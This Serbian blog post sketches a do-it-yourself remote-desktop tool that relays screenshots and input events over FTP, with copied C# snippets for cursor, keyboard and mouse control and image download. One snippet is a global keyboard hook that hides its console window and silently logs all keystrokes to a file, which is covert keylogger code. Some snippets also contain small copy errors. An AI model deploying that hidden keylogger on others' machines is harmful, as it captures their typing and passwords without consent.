Friday, May 1, 2020

Kako napraviti svoj TeamViewer na najlogičniji način koji niko do sada nije pokušao

Verovatno će svako reći da je najbolji način preko Socket-a, koristeći TCP ili UDP za prosledjivanje video strima i pozicija-dogadjaja na tastaturi i mišu.

Mnogo pametniji način koji niko drugi nije pokušao je stalnim snimanjem malih paketa koristeći FTP protokol, koji je u C# neverovatno lako napraviti, čak i ako nemate MS Visual Studio, nego samo CMD prompt i Notepad.

Šta ćemo slati u tim malim paketima-datotekama na FTP server ?

1) Napravimo aplikaciju koja kreira screenshot - snimak ekrana recimo svake sekunde i šalje je na FTP server.

2) Napravimo aplikaciju koja pozicije-dogadjaje na tastaturi i mišu prosledjuje kao TXT datoteke na FTP server. Ovde bi mogli koristiti i web tehnologije npr. ASP/PHP/Ajax za POST/GET na server, ali FTP je mnogo elegantnije rešenje.

3) Treba nam i modul-aplikacija koja generiše događaje miša i njegove pozicije x,y na ekranu, kao i procedura za kreiranje VirtualKeystroke željenih otkucaja na tastaturi, That's all folks !

Zatim integrišimo ove tri funkcionalnosti u jedan BATCH fajl ili neku aplikaciju koju ćemo postaviti na naš "Server" , odnosno "Klijent",  plus FTP server koji se koristi kao medju-komunikacioni bafer - prostor, a možete ga zvati i moderno OBLAK.

I sad mi recite, da li Vam zaista treba VNC, RDP ili TeamViewer da bi radili remote od kuće ?

Ostanite kod kuće, happy coding !
primer: https://www.islonline.com/rs/en/ 

//C#, Get Cursor Pos:
using System.Runtime.InteropServices;
using System.Windows; 
// Or use whatever point class you like for the implicit cast operator

/// <summary>

/// Struct representing a point.
/// </summary>
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
    public int X;
    public int Y;

    public static implicit operator Point(POINT point)

    {
        return new Point(point.X, point.Y);
    }
}

/// <summary>

/// Retrieves the cursor's position, in screen coordinates.
/// </summary>
/// <see>See MSDN documentation for further information.</see>
[DllImport("user32.dll")]
public static extern bool GetCursorPos(out POINT lpPoint);

public static Point GetCursorPosition()

{
    POINT lpPoint;
    GetCursorPos(out lpPoint);
    // NOTE: If you need error handling
    // bool success = GetCursorPos(out lpPoint);
    // if (!success)

    return lpPoint;


}

//C#, Set Cursor Pos:

}
       public Int32 x = 0;
       public Int32 y = 0;
       public Int32 prevx = 0;
       public Int32 prevy = 0;
       private void Form1_Load(object sender, EventArgs e)
       {
           timer1.Interval = 1;
           timer1.Enabled = true;
           x = Cursor.Position.X;
           y = Cursor.Position.Y;
           prevx = Cursor.Position.X;
           prevy = Cursor.Position.Y;

       }


       private void timer1_Tick(object sender, EventArgs e)

       {
           x = Cursor.Position.X;
           y = Cursor.Position.Y;
           textBox1.Text = x.ToString();
           textBox2.Text = y.ToString();
           if (x > prevx)
           {

               if (x -prevx > 10)

               {
                   SetCursorPos(x - 9, y);
                   prevx = x - 9;
               }
           }
           else if (x < prevx)
           {
               if (prevx-x > 10)
               {
                   SetCursorPos(x + 9, y);
                   prevx = x - 9;
               }

           }

           ///////////////////////////////////
           if (y> prevy)
           {
               if (y -prevy > 10)
               {
                   SetCursorPos(x ,y-9);
                   prevy = y - 9;
               }
           }
           else if (y < prevy)
           {
               if (prevy-y > 10)
               {
                   SetCursorPos(x, y+9);
                   prevy = y - 9;
               }

           }


           //////////////////////////////////

       }
   }

//MORE GOODIES from C#:

private void MoveCursor()
{
   // Set the Current cursor, move the cursor's Position,
   // and set its clipping rectangle to the form. 

   this.Cursor = new Cursor(Cursor.Current.Handle);
   Cursor.Position = new Point(Cursor.Position.X - 50, Cursor.Position.Y - 50);
   Cursor.Clip = new Rectangle(this.Location, this.Size);
}


//C#, Keyboard Events, 

using System;
using System.Runtime.InteropServices;

public class SimulatePCControl
{

[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern void keybd_event(uint bVk, uint bScan, uint dwFlags, uint dwExtraInfo);

private const int VK_LEFT = 0x25;

public static void LeftArrow()
{
    keybd_event(VK_LEFT, 0, 0, 0);
}

}



//C#, Mouse events

using System.Runtime.InteropServices;
using UnityEngine;

public class SimulateMouseClick
{
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, uint dwExtraInfo);
//Mouse actions
private const int MOUSEEVENTF_LEFTDOWN = 0x02;
private const int MOUSEEVENTF_LEFTUP = 0x04;
private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
private const int MOUSEEVENTF_RIGHTUP = 0x10;

public static void Click()
{
    //Call the imported function with the cursor's current position
    uint X = (uint)0;
    uint Y = (uint)0;
    mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, X, Y, 0, 0);
    Debug.LogError("SIMULATED A MOUSE CLICK JUST NOW...");
}

//...other code needed for the application
}

//C# Mouse and Keyboard hooks out of form:

https://github.com/gmamaladze/globalmousekeyhook

https://stackoverflow.com/questions/19171081/how-can-i-capture-a-key-press-outside-of-the-form


using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;

class InterceptKeys
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main()
    {
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
        }

        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
}

//C#, retreive keystrokes from hook:

  1. using System;
  2. using System.Diagnostics;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5. using System.IO;
  6. class InterceptKeys
  7. {
  8.     private const int WH_KEYBOARD_LL = 13;
  9.     private const int WM_KEYDOWN = 0x0100;
  10.     private static LowLevelKeyboardProc _proc = HookCallback;
  11.     private static IntPtr _hookID = IntPtr.Zero;
  12.     public static void Main()
  13.     {
  14.         var handle = GetConsoleWindow();
  15.         // Hide
  16.         ShowWindow(handle, SW_HIDE);
  17.         _hookID = SetHook(_proc);
  18.         Application.Run();
  19.         UnhookWindowsHookEx(_hookID);
  20.     }
  21.     private static IntPtr SetHook(LowLevelKeyboardProc proc)
  22.     {
  23.         using (Process curProcess = Process.GetCurrentProcess())
  24.         using (ProcessModule curModule = curProcess.MainModule)
  25.         {
  26.             return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  27.                 GetModuleHandle(curModule.ModuleName)0);
  28.         }
  29.     }
  30.     private delegate IntPtr LowLevelKeyboardProc(
  31.         int nCode, IntPtr wParam, IntPtr lParam);
  32.     private static IntPtr HookCallback(
  33.         int nCode, IntPtr wParam, IntPtr lParam)
  34.     {
  35.         if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  36.         {
  37.             int vkCode = Marshal.ReadInt32(lParam);
  38.             Console.WriteLine((Keys)vkCode);
  39.             StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
  40.             sw.Write((Keys)vkCode);
  41.             sw.Close();
  42.         }
  43.         return CallNextHookEx(_hookID, nCode, wParam, lParam);
  44.     }
  45.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  46.     private static extern IntPtr SetWindowsHookEx(int idHook,
  47.         LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  48.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  49.     [return: MarshalAs(UnmanagedType.Bool)]
  50.     private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  51.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  52.     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  53.         IntPtr wParam, IntPtr lParam);
  54.     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  55.     private static extern IntPtr GetModuleHandle(string lpModuleName);
  56.     [DllImport("kernel32.dll")]
  57.     static extern IntPtr GetConsoleWindow();
  58.     [DllImport("user32.dll")]
  59.     static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  60.     const int SW_HIDE = 0;
  61. }

//https://pastebin.com/nPmn7wAW



//C#, Capture Screenshot:

https://www.c-sharpcorner.com/UploadFile/2d2d83/how-to-capture-a-screen-using-C-Sharp/

https://github.com/nishanc/csharp-screenshot-winforms

//C#, Download JPG from URL:

  1. public System.Drawing.Image DownloadImageFromUrl(string imageUrl)
  2. {
  3. System.Drawing.Image image = null;
  4.  
  5. try
  6. {
  7. System.Net.HttpWebRequest webRequest = (System.Net.HttpWebRequest)System.Net.HttpWebRequest.Create(imageUrl);
  8. webRequest.AllowWriteStreamBuffering = true;
  9. webRequest.Timeout = 30000;
  10.  
  11. System.Net.WebResponse webResponse = webRequest.GetResponse();
  12.  
  13. System.IO.Stream stream = webResponse.GetResponseStream();
  14.  
  15. image = System.Drawing.Image.FromStream(stream);
  16.  
  17. webResponse.Close();
  18. }
  19. catch (Exception ex)
  20. {
  21. return null;
  22. }
  23.  
  24. return image;
  25. }


  1. protected void btnSave_Click(object sender, EventArgs e)
  2. {
  3. System.Drawing.Image image = DownloadImageFromUrl(txtUrl.Text.Trim());
  4.  
  5. string rootPath = @"C:\DownloadedImageFromUrl";
  6. string fileName = System.IO.Path.Combine(rootPath, "test.gif");
  7. image.Save(fileName);
  8. }

https://forgetcode.com/csharp/2052-download-images-from-a-url

using (WebClient client = new WebClient()) 
{
    client.DownloadFile(new Uri(url), @"c:\temp\image35.png");
    // OR 
    client.DownloadFileAsync(new Uri(url), @"c:\temp\image35.png");
}
//the other way:
public void SaveImage(string filename, ImageFormat format)
{    
    WebClient client = new WebClient();
    Stream stream = client.OpenRead(imageUrl);
    Bitmap bitmap;  bitmap = new Bitmap(stream);

    if (bitmap != null)
    {
        bitmap.Save(filename, format);
    }

    stream.Flush();
    stream.Close();
    client.Dispose();
}

Using it

try
{
    SaveImage("--- Any Image Path ---", ImageFormat.Png)
}
catch(ExternalException)
{
    // Something is wrong with Format -- Maybe required Format is not 
    // applicable here
}
catch(ArgumentNullException)
{   
    // Something wrong with Stream
}


++

https://stackoverflow.com/questions/24797485/how-to-download-image-from-url

http://www.digitalcoding.com/Code-Snippets/C-Sharp/C-Code-Snippet-Download-Image-from-URL.html



/// <summary>
/// Function to download Image from website
/// </summary>
/// <param name="_URL">URL address to download image</param>
/// <returns>Image</returns>
public Image DownloadImage(string _URL)
{
    Image _tmpImage = null;

    try
    {
        // Open a connection
        System.Net.HttpWebRequest _HttpWebRequest = (System.Net.HttpWebRequest)System.Net.HttpWebRequest.Create(_URL);

        _HttpWebRequest.AllowWriteStreamBuffering = true;

        // You can also specify additional header values like the user agent or the referer: (Optional)
        _HttpWebRequest.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)";
        _HttpWebRequest.Referer = "http://www.google.com/";

        // set timeout for 20 seconds (Optional)
        _HttpWebRequest.Timeout = 20000;

        // Request response:
        System.Net.WebResponse _WebResponse = _HttpWebRequest.GetResponse();

        // Open data stream:
        System.IO.Stream _WebStream = _WebResponse.GetResponseStream();

        // convert webstream to image
        _tmpImage = Image.FromStream(_WebStream);

        // Cleanup
        _WebResponse.Close();
        _WebResponse.Close();
    }
    catch (Exception _Exception)
    {
        // Error
        Console.WriteLine("Exception caught in process: {0}", _Exception.ToString());
        return null;
    }

    return _tmpImage;
}



// Download web image
Image _Image = null;
_Image = DownloadImage("http://www.yourdomain.com/sample-image.jpg");

// check for valid image
if (_Image != null)
{
    // show image in picturebox
    pictureBox1.Image = _Image;

    // lets save image to disk
    _Image.Save(@"C:\SampleImage.jpg");
}


Bitmap myJpeg=(Bitmap) Image.FromFile("myJpegPath");

public void Load(string asFile) {
//--- Because Image keeps th file locked untill the garbage collector
releases it, we have
// to make it released as soon a possible using this trick.
Stream BitmapStream =
System.IO.File.Open(asFile,System.IO.FileMode.Open );
Image imgPhoto = Image.FromStream(BitmapStream);
BitmapStream.Close();

//--- Now the file is beeing released continue using the contents.
mBitmap=new Bitmap(imgPhoto);
}


https://stackoverflow.com/questions/13103682/draw-a-bitmap-image-on-the-screen

Form form = new Form();
form.Text = "Image Viewer";
PictureBox pictureBox = new PictureBox();
pictureBox.Image = YourImage;
pictureBox.Dock = DockStyle.Fill;
form.Controls.Add(pictureBox);
Application.Run(form);
MORE TIPS:

Ista stvar samo sa Lazarus-IDE umesto C#:

https://beogradsko.blogspot.com/2020/04/create-anydesk-and-teamviewer-like-apps.html

https://wiki.lazarus.freepascal.org/MouseAndKeyInput#License

https://beogradsko.blogspot.com/2020/04/post-get-lazarus-ide.html

https://beogradsko.blogspot.com/2018/03/ovo-je-moja-biblioteka-skinuta-sa.html

http://www.porteus.org/info/tips-and-tricks.html

No comments:

Post a Comment

Beogradsko programiranje=